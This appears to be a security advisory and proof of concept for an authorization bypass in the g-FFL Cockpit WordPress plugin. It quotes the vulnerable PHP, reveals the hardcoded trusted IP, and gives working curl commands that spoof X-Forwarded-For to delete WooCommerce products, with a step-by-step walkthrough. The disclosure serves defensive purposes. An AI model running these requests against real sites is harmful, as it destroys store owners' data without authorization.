
g-FFL Cockpit <= 1.7.1 - Improper Authorization to Unauthenticated Product Deletion
The g-FFL Cockpit plugin does not implement proper authorization checks on the queue and process REST API endpoints, allowing unauthenticated users to delete arbitrary WooCommerce products by spoofing HTTP headers to bypass IP-based authentication.
TARGET_SITE="http://example.com"
curl -X POST $TARGET_SITE/wp-json/fflcockpit/v1/queue -H "X-Forwarded-For: 3.212.185.187" -H "Content-Type: application/json" -d '{"action":"delete","products":[{"id":105}]}' && curl -X POST $TARGET_SITE/wp-json/fflcockpit/v1/process -H "X-Forwarded-For: 3.212.185.187" -H "Content-Type: application/json"
The queue and REST API endpoints use IP-based authentication that can be bypassed by spoofing the or HTTP headers. The authentication mechanism relies on which trusts user-controllable headers, and checks against a hardcoded IP address stored in the plugin source code.
X-Forwarded-ForCF-Connecting-IPLocated in class-sync-endpoint.php:
34: register_rest_route('fflcockpit/v1', '/queue', [
35: 'methods' => 'POST',
36: 'callback' => [__CLASS__, 'handle_enqueue_only'],
37: 'permission_callback' => fn() => self::fflcockpit_is_allowed(self::$fflckey),
38: ]);
The fflcockpit_is_allowed() function uses a hardcoded IP address (base64: My4yMTIuMTg1LjE4Nw==, decoded: 3.212.185.187) that is visible in the plugin source code.
Vulnerable snippet from class-sync-endpoint.php:
11: private static function get_client_ip(): string {
12: $ip = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
13: if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
14: // CloudFlare can also have multiple IPs, parse like X-Forwarded-For
15: $cf_ips = explode(',', $_SERVER['HTTP_CF_CONNECTING_IP']);
16: $ip = trim($cf_ips[0]); // ⚠️ Trusts user-controlled header
17: } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
18: $forwarded_ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
19: $ip = trim($forwarded_ips[0]); // ⚠️ Trusts user-controlled header
20: }
21: return trim($ip);
22: }
The process_product() function routes delete operations to sql_delete_product(), which performs direct SQL deletion of WooCommerce products.
Vulnerable deletion implementation from class-update-processor.php:
634: // Delete the product post
635: $deleted = $wpdb->delete($wpdb->posts, ['ID' => $product_id], ['%d']);
636:
637: if ($deleted === false) {
638: $wpdb->query('ROLLBACK');
639: throw new Exception('Failed to delete product from database.');
640: }
641:
642: $deleted_items[] = "product_post";
643:
644: $wpdb->query('COMMIT');
Note: g-FFL Cockpit requires WooCommerce
Navigate to the target WordPress site with the g-FFL Cockpit plugin installed.
Extract the hardcoded IP address from the plugin source code. The IP is base64 encoded as My4yMTIuMTg1LjE4Nw== in class-sync-endpoint.php, which decodes to 3.212.185.187.
Execute the following curl commands to queue and process product deletion:
curl -X POST http://techcorp.cc/wp-json/fflcockpit/v1/queue \
-H "X-Forwarded-For: 3.212.185.187" \
-H "Content-Type: application/json" \
-d '{"action": "delete", "products": [{"id": 105}]}'
curl -X POST http://techcorp.cc/wp-json/fflcockpit/v1/process \
-H "X-Forwarded-For: 3.212.185.187" \
-H "Content-Type: application/json"
{
"status": "completed"
}
The product is permanently deleted from the WooCommerce database, including all associated metadata, term relationships, and images.